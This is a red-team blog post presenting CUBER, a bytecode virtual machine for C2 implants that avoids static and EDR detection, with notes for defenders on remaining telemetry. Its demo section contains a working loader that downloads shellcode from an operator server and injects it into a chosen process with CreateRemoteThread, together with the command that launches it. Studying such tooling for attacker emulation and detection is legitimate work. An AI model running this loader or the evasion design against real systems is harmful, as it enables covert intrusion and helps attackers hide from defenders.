Warning: the techniques proposed in this article must be considered in an authorized context.

Logo cuber

Here is CUBER, an open-source bytecode interpreter dedicated to purple / red teaming. Cuber allows loading modules dynamically while avoiding static detection. Its language, close to python, allows deliberately concise writing, and its engine can load DLLs on demand (or .so under Linux) and call any procedure available in them on the victim machine.

Its flexible architecture allows hot reconfiguration ( changing HTTP user-agents, changing the c2 protocol or the destination servers, recoding the behavior on the fly ) and also calling functions dynamically on the target system.

Thus, one can load modules which themselves add new functionality such as establishing persistence, enumerating the machine, doing ldap queries, and anything the operator is capable of implementing.

Going through a bytecode interpreter to run one’s payloads brings a number of advantages:

  • few hardcoded behaviors, very handy for evading the EDR sandbox or as an anti-reverse
  • everything is customizable on the fly, which lets you adapt the behavior quickly
  • if cuber is not injected, all API calls are made from legitimate memory zones, which avoids a certain number of detections
  • error handling is robust, if a bytecode function crashes the error is caught by cuber
  • it provides evasion of static detection

You can find the project here on github.

Inspiration and history

Gandalf

The idea for this project came to me while using the pupy C2, which is no longer maintained today and which was based on python. One of the big advantages I found in python for writing a C2 was the ability to hot-load new behaviors, compiled on the operator side and executed on the victim side. All of that thanks to python bytecode.

Let’s start with a retrospective on the evolution of techniques that leads today to virtualization.

The loader to solve the problem of on-disk detection

To avoid on-disk or static detection and to keep their payloads from being found, red teamers often use loaders. These load the useful content directly in memory: the implant itself.

One of the problems with this system is that all calls to the system will come from a private memory zone which is not supposed to execute code. Facing modern EDRs one must solve this problem by putting in place call stack-spoofing as well as memory encryption to keep it from being detected.

But ( yes, again! ) it is rather tedious and detectable work. Moreover, the generalization of CET will make this approach harder (https://learn.microsoft.com/en-us/windows/security/hardware-security/hardware-enforced-stack-protection).

BOFs

For a few years now, thanks to Cobalt Strike, BOFs have been introduced, for Beacon Object File. These are programs ready to be loaded in memory to extend the capabilities of an implant that supports them. The implant must allocate a memory zone, copy the BOF into it, resolve the external symbols and jump to its entry point.

Diagram about BOFs How BOFs work, source: nviso.eu

This makes adding dynamic behaviors much easier but poses three problems:

  • a BOF that crashes can crash the implant
  • the memory allocation, import resolution and jump to entry point pattern can be detected
  • the BOF itself can be detected in memory

Embedding an interpreter

In order to dynamically add behaviors, some malware already embed interpreters.

Analysis of the POS malware “Spark”, a variant of Alina published by SpiderLabs in late 2014, already showed loaders not written in C, but compiled from an AutoIt script via Aut2Exe.

The observation of the time deserves to be quoted: this type of binary, which embeds its own interpreter (AutoIt, Python via py2exe, Perl via perl2exe), was “generally considered unsophisticated malware”, and yet was enough to pass the day-zero bar and inject the final payload in memory. At the other end of the attack chain, the Nemucod downloader distributed for years ransomware (Locky, TeslaCrypt) in the form of a simple JavaScript file attached to an email: a largely legitimate language, on which too aggressive a signature generates an avalanche of false positives.

The culmination: the implant that embeds its own virtual machine

Some actors started embedding their own virtual machine in their implant. That is, an execution space that interprets bytecode. One can notably mention FinSpy, a commercial espionage platform sold to intelligence services. Its logic is encapsulated in a homegrown bytecode virtual machine. This was so effective that Microsoft and ESET had to publish, in 2018, entire pieces of work dedicated to its devirtualization.

Note that today commercial C2s like Havoc Professional and brute-ratel also have this bytecode execution capability.

On the blue team side, Fox-IT published an article in 2024 on the subject of a virtual machine similar to cuber, and Praetorian wrote this year in 2026 an article on the same subject.

Cuber thus offers an open-source implementation of a cross-platform virtual machine for attacker emulation.

Cuber’s architecture

Cuber has the following characteristics:

  • available on Windows and Linux
  • compiled binary < 80KB for linux and < 90KB for Windows
  • a language to write modules very close to python

Thanks to the language named cube, one can write instructions such as:

lib("kernel32.dll")
extern("BOOL WINAPI GetComputerNameW(LPWSTR lpBuffer, LPDWORD nSize)")

def main():
    max_w = 256
    namebuf = mem.new(max_w * 2)
    nsize = mem.new(4)
    mem.set_le(nsize, 0, 4, max_w)
    if GetComputerNameW(mem.ptr(namebuf), mem.ptr(nsize)) == 0:
        print("GetComputerNameW failed, gle=", ffi.last_err())
        return 0
    name = enc.utf16lez_to_str(mem.read(namebuf, 0, max_w * 2), 0, mem.get_le(nsize, 0, 4))
    print("name=", name)
    return 0

And run them directly on the host machine. Example with the previous code which displays the name of the current computer on Windows.

Since cuber emulates how a processor works with stack management, an instruction register and memory, we then speak of a virtual machine. That is why we can speak of: “evasion through malware virtualisation”.

Here is how the project flows, from the file written in the cube language down to execution in the VM:

  flowchart TB

    subgraph OP["Operator side"]
        TOOL["<b>compilation</b><br/>.cube -> assembly -> bytecode"]
    end

    TOOL -->|"encrypted .bc in memory"| VMX

    subgraph BIN["Target side"]
        VMX["<b>stack and state</b><br/>values / globals / frames / config"]
        PORT{"<b>HOST</b><br/>interface to the other modules"}
        TXT["<b>data</b><br/>text / encoding / mem"]
        SYSR["<b>system</b><br/>fs / net / process"]
        EXT["<b>extension</b><br/>ffi"]
        CKPT["<b>security</b><br/>ckpt / introspection"]
        SHIM["<b>system abstraction layer</b><br/>posix / windows"]
    end

    VMX --> PORT
    PORT --> TXT
    PORT --> SYSR
    PORT --> EXT
    PORT --> CKPT
    PORT -.->|refusal: the VM survives| VMX
    TXT --> SHIM
    SYSR --> SHIM
    EXT --> SHIM
    SHIM --> OS["<b>OS</b><br/>native APIs"]

    classDef vm fill:#ede7f6,stroke:#4527a4,color:#311b92
    classDef host fill:#fff3e0,stroke:#ef6c00,color:#bf360c
    classDef plat fill:#eceff1,stroke:#546e7a,color:#263238
    class VMX,PORT vm
    class TXT,SYSR,EXT,CKPT host
    class SHIM,OS plat
  • an FFI layer to call the target system’s API
  • instructions dedicated to networking, and HTTP/HTTPS

Difference with existing engines

The bytecode engine of Havoc Professional we mentioned above is called Firebeam and it differs slightly in its implementation.

So, from the illustration taken from this article one can notice that firebeam allows execution of C code transpiled into firebeam’s bytecode language:

Diagram about BOFs

For cuber, that is not the case; only the cuber language is designed today to interface with the VM.

How the virtual machine works

The virtual machine is a stack-based implementation, with variable-size instructions.

That is, all arguments are pushed on the stack and these can be 1 instruction byte + 0 to 7 operand bytes.

Note: Cuber’s development was co-done with Mistral’s GLM 5.3 model in order to speed up development and testing cycles.

An overview of how it works

To give a glimpse of the VM’s guts, here is an excerpt of the creation function, written in C:

VM* vm_create(const Bytecode* bc, Host* host, Policy* policy){
    if (!bc || bc->magic != BCVM_MAGIC) return NULL;
    VM* vm = (VM*)calloc(1, sizeof(VM));
    if (!vm) return NULL;
    vm->bc = bc;
    vm->host = host;
    vm->policy = policy ? policy : policy_default();
    vm->sp = 0;
    memset(vm->globals, 0, sizeof(vm->globals));
    vm->ip = bc->code;
    vm->code_end = bc->code + bc->code_size;
    vm->last_error = 0;
    vm->fp = 0;
    memset(vm->procs, 0, sizeof(vm->procs));
    vm->print_hook_depth = 0;
...
}

One can notice that, for the engine, it is equipped with:

  • a stack pointer
  • an instruction pointer
  • permission handling via the policy ( which avoids malicious actions )
  • so-called global variables which mostly serve to manage the configuration and the policy, e.g.: CFG_SET("POLY","FFI",1)
  • a set of procs identified by their id ( that is, functions ); main is 0
  • an error handling system
  • a hooking system to modify its internal behavior

The host object, initialized here, is the one used during what we call host-calls, that is all the procedures built into the virtual machine to communicate with the outside world.

These notably include tools for memory management, string processing, sleep, printing, socks usage, http requests, websockets and use of the FFI which we cover in detail below.

How a step works

At each step in the VM the following happens: the instruction pointer *ip is incremented by 1, then the current instruction is executed.

Depending on the nature of the instruction, the argument or arguments are read from the bytecode, incrementing ip along the way.

For example:

PUSHI 2 <= ip
HOST PRINT 1

During the execution of PUSHI 2, the virtual machine will read a single four-byte argument which corresponds to the value pushed on the stack. For the execution of HOST, the VM will read a two-byte argument: the host-call number, then one byte, which is the number of arguments to read from the stack that will be consumed by the host call.

The cube language and the assembly language abstract away a good part of the complexity tied to the size and type of the arguments. This is demonstrated below.

Simple execution

A set of demos is provided in examples/ in the project, the arith.cube code simply prints an addition:

def main():
    print(5 + 7)
   return 0

It can be started like this:

$ python3 tools/cube_lang.py examples/arith.cube --run
12

The python program finds the compiled cuber binary and passes it the program compiled this way.

Assembly language

To observe the language underlying the VM one can add the -S option:

$ python3 tools/cube_lang.py examples/arith.cube -S

One can then read the examples/arith.bcasm file, here is a summary:

fn_main:
PUSHI #5 # push the int 5
PUSHI #7 # push the int 7
DUP # duplication of the first
PUSHI #3 3=type string
ISTYPE # returns 1 if str
JF ADD_NOT_STR3
... # once we know both arguments of the + are ints
ADD # simple addition of the two integers
HOST PRINT 1 # host function call with 1 argument ( the result )
... # epilogue

Foreign Function Interface

The FFI is a critical feature of the project. It refers to the ability to call functions dynamically on a target system while respecting the target’s calling convention and retrieving the result.

Thanks to the FFI we can both import a library dynamically, resolve its functions and then transform VM types to pass them to the target function.

Example of use

In the cube language one can thus import functions like GetCurrentProcess, CloseHandle, OpenProcessToken and GetTokenInformation:

lib("kernel32.dll")
extern("HANDLE WINAPI GetCurrentProcess(void)")
extern("BOOL WINAPI CloseHandle(HANDLE hObject)")


lib("advapi32.dll")
extern("BOOL WINAPI OpenProcessToken(HANDLE ProcessHandle, DWORD DesiredAccess, HANDLE* TokenHandle)")
extern("BOOL WINAPI GetTokenInformation(HANDLE TokenHandle, DWORD TokenInformationClass, void* TokenInformation, DWORD TokenInformationLength, LPDWORD ReturnLength)")

Above, we import GetCurrentProcess and CloseHandle from kernel32, then OpenProcessToken and GetTokenInformation from advapi32. Notice that we can directly use the MSDN signature, which is then handled by the project’s FFI engine.

Using the previous imports, here is code to read the token’s elevation level:


def main():
    p = GetCurrentProcess()
    out = mem.new(sys.ptr_size())
    mem.set_le(out, 0, sys.ptr_size(), 0)
    ok = OpenProcessToken(p, TOKEN_QUERY, mem.ptr(out))
    if ok == 0:
        print("OpenProcessToken failed, err=", ffi.last_err())
        return 0
    token = mem.get_le(out, 0, sys.ptr_size())

    need = mem.new(4)
    mem.set_le(need, 0, 4, 0) # = libc memset
    GetTokenInformation(token, TOKEN_ELEVATION, 0, 0, mem.ptr(need))
    n = mem.get_le(need, 0, 4)
    if n <= 0:
        print("GetTokenInformation size query failed, err=", ffi.last_err())
        return 0
    buf = mem.new(n)
    ok = GetTokenInformation(token, TOKEN_ELEVATION, mem.ptr(buf), n, mem.ptr(need))
    if ok == 0:
        print("GetTokenInformation failed, err=", ffi.last_err())
        return 0
    got = mem.get_le(need, 0, 4)

    if got >= 4:
        elevated = bytes.get_le(mem.read(buf, 0, got), 0, 4)
        print("TokenElevation=", elevated)
    else:
        print("GetTokenInformation returned empty")

    CloseHandle(token)
    return 0

In the engine

Motor

In cuber, each imported function is stored in a table which references them all so as not to import them twice. On the Windows side, the VM makes a call to LoadLibraryA and GetProcAddress to load the function. On the Linux side these are dlopen and dlsym.

When we call the function, the engine takes care of preparing the arguments and passing them to the destination function. For the transformation of the arguments this happens on the compiler side, and here is an example:

On the operator side, the function is declared with its C signature, as is:

lib("kernel32.dll")
extern("int WINAPI lstrlenW(LPCWSTR lpString)")

At compile time, the preprocessor recognizes the LPCWSTR type (a pointer to a wide character string encoded in UTF-16LE, the native idiom of Windows) and generates a wrapper written in plain cube (visible with --emit-preproc). This is not magic embedded in the engine: it is bytecode like the rest, with the same building blocks as the ones we would write by hand:

def lstrlenW(lpString):
    mem.scope_push()
    __e0 = lpString
    if istype(lpString, 3):                 # only if it really is a string
        __b0 = enc.utf16lez(lpString)       # str -> UTF-16LE bytes terminated by a 0
        __m0 = mem.new(bytes.len(__b0))     # a buffer to hold them
        mem.write(__m0, 0, __b0)
        __e0 = mem.ptr(__m0)                # the buffer's address, an integer like any other
    __fn = ffi.import_('kernel32.dll', 'lstrlenW')
    __r = ffi.call(__fn, __e0)

    mem.scope_pop()
    return __r

This code runs on the target side: the cube string becomes UTF-16LE bytes via enc.utf16lez, the bytes are dropped into a memory buffer via mem.*, and only the buffer’s address crosses the FFI boundary. Knowledge of C types (typedef tables LPWSTR, LPCSTR, DWORD…, signature parsing, conversion generation) lives entirely in the operator-side tools. It does not weigh a single byte in the deployed binary, which never needs to know what the types used are. At call time, the VM sees only integers and addresses arriving.

Thus, one could call lstrlenW in the following code for example:

s = "hello cuber!"
print(lstrlenW(s))

In this way the VM stays lightweight and the intelligence is carried by the executed bytecodes.

Demonstration

To show a first offensive use of this virtual machine, we can start by virtualizing a simple loader for Windows:

# HERE we import the cuber libraries.
#import job
#import http
#import inject

job.usage = "usage: runbc load.inject_http host=<srv> port=8000 path=/sc.bin pid=<target>"
job.req = "host pid"

def main():
    if job.ready("windows", "FFI NET") == 0:
        return 1
    iv_buf = http.get(argv.get("host"), argv.get_def("port", "80"), argv.get_def("path", "/sc.bin"))
    if iv_buf == 0:
        print("[inject_http] fetch failed: " + http.err)
        return 1
    iv_len = http.total - http.body
    iv_pid = argv.int("pid")
    if inject.remote_thread(iv_pid, iv_buf, http.body, iv_len) == 0:
        return 1
    print("[inject_http] " + http.status + " -> injected " + str(iv_len) + " bytes (pid " + str(iv_pid) + "), expect the payload marker")
    print("___JSON___{\"type\":\"inject\",\"method\":\"remote_thread\",\"pid\":" + str(iv_pid) + ",\"raddr\":" + str(inject.raddr) + ",\"bytes\":" + str(iv_len) + "}")
    return 0

main()

The previous program downloads a shellcode from an http server given as argument ( using argv.get ).

Then it injects it with CreateRemoteThread into a remote process.

It could be launched like this on windows:

cuber.exe inject_http.bc host=10.0.0.5 port=8000 path=/sc.bin pid=1234

What signals are left for a blue team?

Virtualization makes static signatures disappear, but not the physics of an attack: the implant will have to open a socket, write into a process or touch the disk.

All dynamic data sources remain relevant, notably the classics:

  • kernel callbacks if we have a driver
  • ETW-TI for kernel events
  • ETW for observing userland events
  • minifilters for the file system and WFP callouts for the network
  • eBPF for Linux

Above, an EDR would have seen the CreateRemoteThread thanks to the kernel callbacks available on Windows. Sysmon would also have seen it with event ID 8.

These tools thus make it possible to capture these events and cuber gives the ability to quickly test their coverage.

Conclusion

The offensive applications presented here are only introductory. Using VMs instead of a hardcoded implant can really change the way one designs an offensive operation, or defends against one.

Thanks to, or because of, virtualization, the attacker can first focus on how to hide their behaviors rather than on static evasion. For the defender, one must collect system telemetry ( Sysmon, ETW ), learn to hunt on API chains rather than binaries, and not neglect memory forensics, the only place where the logic of such an implant really exists.

When I have more time I hope to expand on what can be done in advanced ways with cuber:

  • building complete implants in cube
  • hooking and sleep masks for advanced evasion with cuber
  • implementations of lateral movement in cube
  • customizing the loading of dynamic libraries

In short, still plenty of things to tell on the subject,

Kind regards, nobisd.


References